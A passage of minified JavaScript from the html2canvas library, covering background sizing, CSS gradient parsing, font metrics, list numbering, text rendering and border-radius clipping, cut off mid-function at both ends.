bgposition=_html2canvas.Util.getCSS(el,prop,imageIndex),topPos,left,percentage,val;if(bgposition.length===1){val=bgposition[0];bgposition=[];bgposition[0]=val;bgposition[1]=val}if(bgposition[0].toString().indexOf("%")!==-1){percentage=(parseFloat(bgposition[0])/100);left=bounds.width*percentage;if(prop!=="backgroundSize"){left-=(backgroundSize||image).width*percentage}}else{if(prop==="backgroundSize"){if(bgposition[0]==="auto"){left=image.width}else{if(/contain|cover/.test(bgposition[0])){var resized=_html2canvas.Util.resizeBounds(image.width,image.height,bounds.width,bounds.height,bgposition[0]);left=resized.width;topPos=resized.height}else{left=parseInt(bgposition[0],10)}}}else{left=parseInt(bgposition[0],10)}}if(bgposition[1]==="auto"){topPos=left/image.width*image.height}else{if(bgposition[1].toString().indexOf("%")!==-1){percentage=(parseFloat(bgposition[1])/100);topPos=bounds.height*percentage;if(prop!=="backgroundSize"){topPos-=(backgroundSize||image).height*percentage}}else{topPos=parseInt(bgposition[1],10)}}return[left,topPos]}_html2canvas.Util.BackgroundPosition=function(el,bounds,image,imageIndex,backgroundSize){var result=backgroundBoundsFactory("backgroundPosition",el,bounds,image,imageIndex,backgroundSize);return{left:result[0],top:result[1]}};_html2canvas.Util.BackgroundSize=function(el,bounds,image,imageIndex){var result=backgroundBoundsFactory("backgroundSize",el,bounds,image,imageIndex);return{width:result[0],height:result[1]}};_html2canvas.Util.Extend=function(options,defaults){for(var key in options){if(options.hasOwnProperty(key)){defaults[key]=options[key]}}return defaults};_html2canvas.Util.Children=function(elem){var children;try{children=(elem.nodeName&&elem.nodeName.toUpperCase()==="IFRAME")?elem.contentDocument||elem.contentWindow.document:(function(array){var ret=[];if(array!==null){(function(first,second){var i=first.length,j=0;if(typeof second.length==="number"){for(var l=second.length;j<l;j++){first[i++]=second[j]}}else{while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first})(ret,array)}return ret})(elem.childNodes)}catch(ex){_html2canvas.Util.log("html2canvas.Util.Children failed with exception: "+ex.message);children=[]}return children};_html2canvas.Util.isTransparent=function(backgroundColor){return(backgroundColor==="transparent"||backgroundColor==="rgba(0, 0, 0, 0)")};_html2canvas.Util.Font=(function(){var fontData={};return function(font,fontSize,doc){if(fontData[font+"-"+fontSize]!==undefined){return fontData[font+"-"+fontSize]}var container=doc.createElement("div"),img=doc.createElement("img"),span=doc.createElement("span"),sampleText="Hidden Text",baseline,middle,metricsObj;container.style.visibility="hidden";container.style.fontFamily=font;container.style.fontSize=fontSize;container.style.margin=0;container.style.padding=0;doc.body.appendChild(container);img.src="data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=";img.width=1;img.height=1;img.style.margin=0;img.style.padding=0;img.style.verticalAlign="baseline";span.style.fontFamily=font;span.style.fontSize=fontSize;span.style.margin=0;span.style.padding=0;span.appendChild(doc.createTextNode(sampleText));container.appendChild(span);container.appendChild(img);baseline=(img.offsetTop-span.offsetTop)+1;container.removeChild(span);container.appendChild(doc.createTextNode(sampleText));container.style.lineHeight="normal";img.style.verticalAlign="super";middle=(img.offsetTop-container.offsetTop)+1;metricsObj={baseline:baseline,lineWidth:1,middle:middle};fontData[font+"-"+fontSize]=metricsObj;doc.body.removeChild(container);return metricsObj}})();(function(){var Util=_html2canvas.Util,Generate={};_html2canvas.Generate=Generate;var reGradients=[/^(-webkit-linear-gradient)\\(([a-z\\s]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-o-linear-gradient)\\(([a-z\\s]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-webkit-gradient)\\((linear|radial),\\s((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?),\\s(?:\\d{1,3}%?)\\s(?:\\d{1,3}%?))([\\w\\d\\.\\s,%\\(\\)\\-]+)\\)$/,/^(-moz-linear-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?))([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-webkit-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s([a-z\\-]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-moz-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s?([a-z\\-]*)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-o-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s([a-z\\-]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/];Generate.parseGradient=function(css,bounds){var gradient,i,len=reGradients.length,m1,stop,m2,m2Len,step,m3,tl,tr,br,bl;for(i=0;i<len;i+=1){m1=css.match(reGradients[i]);if(m1){break}}if(m1){switch(m1[1]){case"-webkit-linear-gradient":case"-o-linear-gradient":gradient={type:"linear",x0:null,y0:null,x1:null,y1:null,colorStops:[]};m2=m1[2].match(/\\w+/g);if(m2){m2Len=m2.length;for(i=0;i<m2Len;i+=1){switch(m2[i]){case"top":gradient.y0=0;gradient.y1=bounds.height;\r\nbreak;case"right":gradient.x0=bounds.width;gradient.x1=0;break;case"bottom":gradient.y0=bounds.height;gradient.y1=0;break;case"left":gradient.x0=0;gradient.x1=bounds.width;break}}}if(gradient.x0===null&&gradient.x1===null){gradient.x0=gradient.x1=bounds.width/2}if(gradient.y0===null&&gradient.y1===null){gradient.y0=gradient.y1=bounds.height/2}m2=m1[3].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i<m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]==="%"){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case"-webkit-gradient":gradient={type:m1[2]==="radial"?"circle":m1[2],x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[3].match(/(\\d{1,3})%?\\s(\\d{1,3})%?,\\s(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=(m2[3]*bounds.width)/100;gradient.y1=(m2[4]*bounds.height)/100}m2=m1[4].match(/((?:from|to|color-stop)\\((?:[0-9\\.]+,\\s)?(?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)\\))+/g);if(m2){m2Len=m2.length;for(i=0;i<m2Len;i+=1){m3=m2[i].match(/(from|to|color-stop)\\(([0-9\\.]+)?(?:,\\s)?((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\)/);stop=parseFloat(m3[2]);if(m3[1]==="from"){stop=0}if(m3[1]==="to"){stop=1}gradient.colorStops.push({color:m3[3],stop:stop})}}break;case"-moz-linear-gradient":gradient={type:"linear",x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[2].match(/(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=bounds.width-gradient.x0;gradient.y1=bounds.height-gradient.y0}m2=m1[3].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}%)?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i<m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]){stop/=100}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case"-webkit-radial-gradient":case"-moz-radial-gradient":case"-o-radial-gradient":gradient={type:"circle",x0:0,y0:0,x1:bounds.width,y1:bounds.height,cx:0,cy:0,rx:0,ry:0,colorStops:[]};m2=m1[2].match(/(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.cx=(m2[1]*bounds.width)/100;gradient.cy=(m2[2]*bounds.height)/100}m2=m1[3].match(/\\w+/);m3=m1[4].match(/[a-z\\-]*/);if(m2&&m3){switch(m3[0]){case"farthest-corner":case"cover":case"":tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.max(tl,tr,br,bl);break;case"closest-corner":tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.min(tl,tr,br,bl);break;case"farthest-side":if(m2[0]==="circle"){gradient.rx=gradient.ry=Math.max(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.max(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.max(gradient.cy,gradient.y1-gradient.cy)}break;case"closest-side":case"contain":if(m2[0]==="circle"){gradient.rx=gradient.ry=Math.min(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.min(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.min(gradient.cy,gradient.y1-gradient.cy)}break}}m2=m1[5].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i<m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]==="%"){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break}}return gradient};function addScrollStops(grad){return function(colorStop){try{grad.addColorStop(colorStop.stop,colorStop.color)}catch(e){Util.log(["failed to add color stop: ",e,"; tried to add: ",colorStop])}}}Generate.Gradient=function(src,bounds){if(bounds.width===0||bounds.height===0){return}var canvas=document.createElement("canvas"),ctx=canvas.getContext("2d"),gradient,grad;canvas.width=bounds.width;canvas.height=bounds.height;gradient=_html2canvas.Generate.parseGradient(src,bounds);if(gradient){switch(gradient.type){case"linear":grad=ctx.createLinearGradient(gradient.x0,gradient.y0,gradient.x1,gradient.y1);\r\ngradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case"circle":grad=ctx.createRadialGradient(gradient.cx,gradient.cy,0,gradient.cx,gradient.cy,gradient.rx);gradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case"ellipse":var canvasRadial=document.createElement("canvas"),ctxRadial=canvasRadial.getContext("2d"),ri=Math.max(gradient.rx,gradient.ry),di=ri*2;canvasRadial.width=canvasRadial.height=di;grad=ctxRadial.createRadialGradient(gradient.rx,gradient.ry,0,gradient.rx,gradient.ry,ri);gradient.colorStops.forEach(addScrollStops(grad));ctxRadial.fillStyle=grad;ctxRadial.fillRect(0,0,di,di);ctx.fillStyle=gradient.colorStops[gradient.colorStops.length-1].color;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.drawImage(canvasRadial,gradient.cx-gradient.rx,gradient.cy-gradient.ry,2*gradient.rx,2*gradient.ry);break}}return canvas};Generate.ListAlpha=function(number){var tmp="",modulus;do{modulus=number%26;tmp=String.fromCharCode((modulus)+64)+tmp;number=number/26}while((number*26)>26);return tmp};Generate.ListRoman=function(number){var romanArray=["M","CM","D","CD","C","XC","L","XL","X","IX","V","IV","I"],decimal=[1000,900,500,400,100,90,50,40,10,9,5,4,1],roman="",v,len=romanArray.length;if(number<=0||number>=4000){return number}for(v=0;v<len;v+=1){while(number>=decimal[v]){number-=decimal[v];roman+=romanArray[v]}}return roman}})();function h2cRenderContext(width,height){var storage=[];return{storage:storage,width:width,height:height,clip:function(){storage.push({type:"function",name:"clip","arguments":arguments})},translate:function(){storage.push({type:"function",name:"translate","arguments":arguments})},fill:function(){storage.push({type:"function",name:"fill","arguments":arguments})},save:function(){storage.push({type:"function",name:"save","arguments":arguments})},restore:function(){storage.push({type:"function",name:"restore","arguments":arguments})},fillRect:function(){storage.push({type:"function",name:"fillRect","arguments":arguments})},createPattern:function(){storage.push({type:"function",name:"createPattern","arguments":arguments})},drawShape:function(){var shape=[];storage.push({type:"function",name:"drawShape","arguments":shape});return{moveTo:function(){shape.push({name:"moveTo","arguments":arguments})},lineTo:function(){shape.push({name:"lineTo","arguments":arguments})},arcTo:function(){shape.push({name:"arcTo","arguments":arguments})},bezierCurveTo:function(){shape.push({name:"bezierCurveTo","arguments":arguments})},quadraticCurveTo:function(){shape.push({name:"quadraticCurveTo","arguments":arguments})}}},drawImage:function(){storage.push({type:"function",name:"drawImage","arguments":arguments})},fillText:function(){storage.push({type:"function",name:"fillText","arguments":arguments})},setVariable:function(variable,value){storage.push({type:"variable",name:variable,"arguments":value});return value}}}_html2canvas.Parse=function(images,options){window.scroll(0,0);var element=((options.elements===undefined)?document.body:options.elements[0]),numDraws=0,doc=element.ownerDocument,Util=_html2canvas.Util,support=Util.Support(options,doc),ignoreElementsRegExp=new RegExp("("+options.ignoreElements+")"),body=doc.body,getCSS=Util.getCSS,pseudoHide="___html2canvas___pseudoelement",hidePseudoElements=doc.createElement("style");hidePseudoElements.innerHTML="."+pseudoHide+'-before:before { content: "" !important; display: none !important; }'+"."+pseudoHide+'-after:after { content: "" !important; display: none !important; }';body.appendChild(hidePseudoElements);images=images||{};function documentWidth(){return Math.max(Math.max(doc.body.scrollWidth,doc.documentElement.scrollWidth),Math.max(doc.body.offsetWidth,doc.documentElement.offsetWidth),Math.max(doc.body.clientWidth,doc.documentElement.clientWidth))}function documentHeight(){return Math.max(Math.max(doc.body.scrollHeight,doc.documentElement.scrollHeight),Math.max(doc.body.offsetHeight,doc.documentElement.offsetHeight),Math.max(doc.body.clientHeight,doc.documentElement.clientHeight))}function getCSSInt(element,attribute){var val=parseInt(getCSS(element,attribute),10);return(isNaN(val))?0:val}function renderRect(ctx,x,y,w,h,bgcolor){if(bgcolor!=="transparent"){ctx.setVariable("fillStyle",bgcolor);ctx.fillRect(x,y,w,h);numDraws+=1}}function capitalize(m,p1,p2){if(m.length>0){return p1+p2.toUpperCase()}}function textTransform(text,transform){switch(transform){case"lowercase":return text.toLowerCase();case"capitalize":return text.replace(/(^|\\s|:|-|\\(|\\))([a-z])/g,capitalize);case"uppercase":return text.toUpperCase();default:return text}}function noLetterSpacing(letter_spacing){return(/^(normal|none|0px)$/.test(letter_spacing))}function drawText(currentText,x,y,ctx){if(currentText!==null&&Util.trimText(currentText).length>0){ctx.fillText(currentText,x,y);numDraws+=1}}function setTextVariables(ctx,el,text_decoration,color){var align=false,bold=getCSS(el,"fontWeight"),family=getCSS(el,"fontFamily"),size=getCSS(el,"fontSize"),shadows=Util.parseTextShadows(getCSS(el,"textShadow"));\r\nswitch(parseInt(bold,10)){case 401:bold="bold";break;case 400:bold="normal";break}ctx.setVariable("fillStyle",color);ctx.setVariable("font",[getCSS(el,"fontStyle"),getCSS(el,"fontVariant"),bold,size,family].join(" "));ctx.setVariable("textAlign",(align)?"right":"left");if(shadows.length){ctx.setVariable("shadowColor",shadows[0].color);ctx.setVariable("shadowOffsetX",shadows[0].offsetX);ctx.setVariable("shadowOffsetY",shadows[0].offsetY);ctx.setVariable("shadowBlur",shadows[0].blur)}if(text_decoration!=="none"){return Util.Font(family,size,doc)}}function renderTextDecoration(ctx,text_decoration,bounds,metrics,color){switch(text_decoration){case"underline":renderRect(ctx,bounds.left,Math.round(bounds.top+metrics.baseline+metrics.lineWidth),bounds.width,1,color);break;case"overline":renderRect(ctx,bounds.left,Math.round(bounds.top),bounds.width,1,color);break;case"line-through":renderRect(ctx,bounds.left,Math.ceil(bounds.top+metrics.middle+metrics.lineWidth),bounds.width,1,color);break}}function getTextBounds(state,text,textDecoration,isLast,transform){var bounds;if(support.rangeBounds&&!transform){if(textDecoration!=="none"||Util.trimText(text).length!==0){bounds=textRangeBounds(text,state.node,state.textOffset)}state.textOffset+=text.length}else{if(state.node&&typeof state.node.nodeValue==="string"){var newTextNode=(isLast)?state.node.splitText(text.length):null;bounds=textWrapperBounds(state.node,transform);state.node=newTextNode}}return bounds}function textRangeBounds(text,textNode,textOffset){var range=doc.createRange();range.setStart(textNode,textOffset);range.setEnd(textNode,textOffset+text.length);return range.getBoundingClientRect()}function textWrapperBounds(oldTextNode,transform){var parent=oldTextNode.parentNode,wrapElement=doc.createElement("wrapper"),backupText=oldTextNode.cloneNode(true);wrapElement.appendChild(oldTextNode.cloneNode(true));parent.replaceChild(wrapElement,oldTextNode);var bounds=transform?Util.OffsetBounds(wrapElement):Util.Bounds(wrapElement);parent.replaceChild(backupText,wrapElement);return bounds}function renderText(el,textNode,stack){var ctx=stack.ctx,color=getCSS(el,"color"),textDecoration=getCSS(el,"textDecoration"),textAlign=getCSS(el,"textAlign"),metrics,textList,state={node:textNode,textOffset:0};if(Util.trimText(textNode.nodeValue).length>0){textNode.nodeValue=textTransform(textNode.nodeValue,getCSS(el,"textTransform"));textAlign=textAlign.replace(["-webkit-auto"],["auto"]);textList=(!options.letterRendering&&/^(left|right|justify|auto)$/.test(textAlign)&&noLetterSpacing(getCSS(el,"letterSpacing")))?textNode.nodeValue.split(/(\\b| )/):textNode.nodeValue.split("");metrics=setTextVariables(ctx,el,textDecoration,color);if(options.chinese){textList.forEach(function(word,index){if(/.*[\\u4E00-\\u9FA5].*$/.test(word)){word=word.split("");word.unshift(index,1);textList.splice.apply(textList,word)}})}textList.forEach(function(text,index){var bounds=getTextBounds(state,text,textDecoration,(index<textList.length-1),stack.transform.matrix);if(bounds){drawText(text,bounds.left,bounds.bottom,ctx);renderTextDecoration(ctx,textDecoration,bounds,metrics,color)}})}}function listPosition(element,val){var boundElement=doc.createElement("boundelement"),originalType,bounds;boundElement.style.display="inline";originalType=element.style.listStyleType;element.style.listStyleType="none";boundElement.appendChild(doc.createTextNode(val));element.insertBefore(boundElement,element.firstChild);bounds=Util.Bounds(boundElement);element.removeChild(boundElement);element.style.listStyleType=originalType;return bounds}function elementIndex(el){var i=-1,count=1,childs=el.parentNode.childNodes;if(el.parentNode){while(childs[++i]!==el){if(childs[i].nodeType===1){count++}}return count}else{return -1}}function listItemText(element,type){var currentIndex=elementIndex(element),text;switch(type){case"decimal":text=currentIndex;break;case"decimal-leading-zero":text=(currentIndex.toString().length===1)?currentIndex="0"+currentIndex.toString():currentIndex.toString();break;case"upper-roman":text=_html2canvas.Generate.ListRoman(currentIndex);break;case"lower-roman":text=_html2canvas.Generate.ListRoman(currentIndex).toLowerCase();break;case"lower-alpha":text=_html2canvas.Generate.ListAlpha(currentIndex).toLowerCase();break;case"upper-alpha":text=_html2canvas.Generate.ListAlpha(currentIndex);break}return text+". "}function renderListItem(element,stack,elBounds){var x,text,ctx=stack.ctx,type=getCSS(element,"listStyleType"),listBounds;if(/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)){text=listItemText(element,type);listBounds=listPosition(element,text);setTextVariables(ctx,element,"none",getCSS(element,"color"));if(getCSS(element,"listStylePosition")==="inside"){ctx.setVariable("textAlign","left");x=elBounds.left}else{return}drawText(text,x,listBounds.bottom,ctx)}}function loadImage(src){var img=images[src];return(img&&img.succeeded===true)?img.img:false\r\n}function clipBounds(src,dst){var x=Math.max(src.left,dst.left),y=Math.max(src.top,dst.top),x2=Math.min((src.left+src.width),(dst.left+dst.width)),y2=Math.min((src.top+src.height),(dst.top+dst.height));return{left:x,top:y,width:x2-x,height:y2-y}}function setZ(element,stack,parentStack){var newContext,isPositioned=stack.cssPosition!=="static",zIndex=isPositioned?getCSS(element,"zIndex"):"auto",opacity=getCSS(element,"opacity"),isFloated=getCSS(element,"cssFloat")!=="none";stack.zIndex=newContext=h2czContext(zIndex);newContext.isPositioned=isPositioned;newContext.isFloated=isFloated;newContext.opacity=opacity;newContext.ownStacking=(zIndex!=="auto"||opacity<1);if(parentStack){parentStack.zIndex.children.push(stack)}}function renderImage(ctx,element,image,bounds,borders){var paddingLeft=getCSSInt(element,"paddingLeft"),paddingTop=getCSSInt(element,"paddingTop"),paddingRight=getCSSInt(element,"paddingRight"),paddingBottom=getCSSInt(element,"paddingBottom");drawImage(ctx,image,0,0,image.width,image.height,bounds.left+paddingLeft+borders[3].width,bounds.top+paddingTop+borders[0].width,bounds.width-(borders[1].width+borders[3].width+paddingLeft+paddingRight),bounds.height-(borders[0].width+borders[2].width+paddingTop+paddingBottom))}function getBorderData(element){return["Top","Right","Bottom","Left"].map(function(side){return{width:getCSSInt(element,"border"+side+"Width"),color:getCSS(element,"border"+side+"Color")}})}function getBorderRadiusData(element){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(side){return getCSS(element,"border"+side+"Radius")})}var getCurvePoints=(function(kappa){return function(x,y,r1,r2){var ox=(r1)*kappa,oy=(r2)*kappa,xm=x+r1,ym=y+r2;return{topLeft:bezierCurve({x:x,y:ym},{x:x,y:ym-oy},{x:xm-ox,y:y},{x:xm,y:y}),topRight:bezierCurve({x:x,y:y},{x:x+ox,y:y},{x:xm,y:ym-oy},{x:xm,y:ym}),bottomRight:bezierCurve({x:xm,y:y},{x:xm,y:y+oy},{x:x+ox,y:ym},{x:x,y:ym}),bottomLeft:bezierCurve({x:xm,y:ym},{x:xm-ox,y:ym},{x:x,y:y+oy},{x:x,y:y})}}})(4*((Math.sqrt(2)-1)/3));function bezierCurve(start,startControl,endControl,end){var lerp=function(a,b,t){return{x:a.x+(b.x-a.x)*t,y:a.y+(b.y-a.y)*t}};return{start:start,startControl:startControl,endControl:endControl,end:end,subdivide:function(t){var ab=lerp(start,startControl,t),bc=lerp(startControl,endControl,t),cd=lerp(endControl,end,t),abbc=lerp(ab,bc,t),bccd=lerp(bc,cd,t),dest=lerp(abbc,bccd,t);return[bezierCurve(start,ab,abbc,dest),bezierCurve(dest,bccd,cd,end)]},curveTo:function(borderArgs){borderArgs.push(["bezierCurve",startControl.x,startControl.y,endControl.x,endControl.y,end.x,end.y])},curveToReversed:function(borderArgs){borderArgs.push(["bezierCurve",endControl.x,endControl.y,startControl.x,startControl.y,start.x,start.y])}}}function parseCorner(borderArgs,radius1,radius2,corner1,corner2,x,y){if(radius1[0]>0||radius1[1]>0){borderArgs.push(["line",corner1[0].start.x,corner1[0].start.y]);corner1[0].curveTo(borderArgs);corner1[1].curveTo(borderArgs)}else{borderArgs.push(["line",x,y])}if(radius2[0]>0||radius2[1]>0){borderArgs.push(["line",corner2[0].start.x,corner2[0].start.y])}}function drawSide(borderData,radius1,radius2,outer1,inner1,outer2,inner2){var borderArgs=[];if(radius1[0]>0||radius1[1]>0){borderArgs.push(["line",outer1[1].start.x,outer1[1].start.y]);outer1[1].curveTo(borderArgs)}else{borderArgs.push(["line",borderData.c1[0],borderData.c1[1]])}if(radius2[0]>0||radius2[1]>0){borderArgs.push(["line",outer2[0].start.x,outer2[0].start.y]);outer2[0].curveTo(borderArgs);borderArgs.push(["line",inner2[0].end.x,inner2[0].end.y]);inner2[0].curveToReversed(borderArgs)}else{borderArgs.push(["line",borderData.c2[0],borderData.c2[1]]);borderArgs.push(["line",borderData.c3[0],borderData.c3[1]])}if(radius1[0]>0||radius1[1]>0){borderArgs.push(["line",inner1[1].end.x,inner1[1].end.y]);inner1[1].curveToReversed(borderArgs)}else{borderArgs.push(["line",borderData.c4[0],borderData.c4[1]])}return borderArgs}function calculateCurvePoints(bounds,borderRadius,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,tlh=borderRadius[0][0],tlv=borderRadius[0][1],trh=borderRadius[1][0],trv=borderRadius[1][1],brh=borderRadius[2][0],brv=borderRadius[2][1],blh=borderRadius[3][0],blv=borderRadius[3][1],topWidth=width-trh,rightHeight=height-brv,bottomWidth=width-brh,leftHeight=height-blv;return{topLeftOuter:getCurvePoints(x,y,tlh,tlv).topLeft.subdivide(0.5),topLeftInner:getCurvePoints(x+borders[3].width,y+borders[0].width,Math.max(0,tlh-borders[3].width),Math.max(0,tlv-borders[0].width)).topLeft.subdivide(0.5),topRightOuter:getCurvePoints(x+topWidth,y,trh,trv).topRight.subdivide(0.5),topRightInner:getCurvePoints(x+Math.min(topWidth,width+borders[3].width),y+borders[0].width,(topWidth>width+borders[3].width)?0:trh-borders[3].width,trv-borders[0].width).topRight.subdivide(0.5),bottomRightOuter:getCurvePoints(x+bottomWidth,y+rightHeight,brh,brv).bottomRight.subdivide(0.5),bottomRightInner:getCurvePoints(x+Math.min(bottomWidth,width+borders[3].width),y+Math.min(rightHeight,height+borders[0].width),Math.max(0,brh-borders[1].width),Math.max(0,brv-borders[2].width)).bottomRight.subdivide(0.5),bottomLeftOuter:getCurvePoints(x,y+leftHeight,blh,blv).bottomLeft.subdivide(0.5),bottomLeftInner:getCurvePoints(x+borders[3].width,y+leftHeight,Math.max(0,blh-borders[3].width),Math.max(0,blv-borders[2].width)).bottomLeft.subdivide(0.5)}\r\n}function getBorderClip(element,borderPoints,borders,radius,bounds){var backgroundClip=getCSS(element,"backgroundClip"),borderArgs=[];switch(backgroundClip){case"content-box":case"padding-box":parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftInner,borderPoints.topRightInner,bounds.left+borders[3].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightInner,borderPoints.bottomRightInner,bounds.left+bounds.width-borders[1].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightInner,borderPoints.bottomLeftInner,bounds.left+bounds.width-borders[1].width,bounds.top+bounds.height-borders[2].width);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftInner,borderPoints.topLeftInner,bounds.left+borders[3].width,bounds.top+bounds.height-borders[2].width);break;default:parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftOuter,borderPoints.topRightOuter,bounds.left,bounds.top);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightOuter,borderPoints.bottomRightOuter,bounds.left+bounds.width,bounds.top);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightOuter,borderPoints.bottomLeftOuter,bounds.left+bounds.width,bounds.top+bounds.height);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftOuter,borderPoints.topLeftOuter,bounds.left,bounds.top+bounds.height);break}return borderArgs}function parseBorders(element,bounds,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,borderSide,bx,by,bw,bh,borderArgs,borderRadius=getBorderRadiusData(element),borderPoints=calculateCurvePoints(bounds,borderRadius,borders),borderData={clip:getBorderClip(element,borderPoints,borders,borderRadius,bounds),borders:[]};for(borderSide=0;borderSide<4;borderSide++){if(borders[borderSide].width>0){bx=x;by=y;bw=width;bh=height-(borders[2].width);switch(borderSide){case 0:bh=borders[0].width;borderArgs=drawSide({c1:[bx,by],c2:[bx+bw,by],c3:[bx+bw-borders[1].width,by+bh],c4:[bx+borders[3].width,by+bh]},borderRadius[0],borderRadius[1],borderPoints.topLeftOuter,borderPoints.topLeftInner,borderPoints.topRightOuter,borderPoints.topRightInner);break;case 1:bx=x+width-(borders[1].width);bw=borders[1].width;borderArgs=drawSide({c1:[bx+bw,by],c2:[bx+bw,by+bh+borders[2].width],c3:[bx,by+bh],c4:[bx,by+borders[0].width]},borderRadius[1],borderRadius[2],borderPoints.topRightOuter,borderPoints.topRightInner,borderPoints.bottomRightOuter,borderPoints.bottomRightInner);break;case 2:by=(by+height)-(borders[2].width);bh=borders[2].width;borderArgs=drawSide({c1:[bx+bw,by+bh],c2:[bx,by+bh],c3:[bx+borders[3].width,by],c4:[bx+bw-borders[3].width,by]},borderRadius[2],borderRadius[3],borderPoints.bottomRightOuter,borderPoints.bottomRightInner,borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner);break;case 3:bw=borders[3].width;borderArgs=drawSide({c1:[bx,by+bh+borders[2].width],c2:[bx,by],c3:[bx+bw,by+borders[0].width],c4:[bx+bw,by+bh]},borderRadius[3],borderRadius[0],borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner,borderPoints.topLeftOuter,borderPoints.topLeftInner);break}borderData.borders.push({args:borderArgs,color:borders[borderSide].color})}}return borderData}function 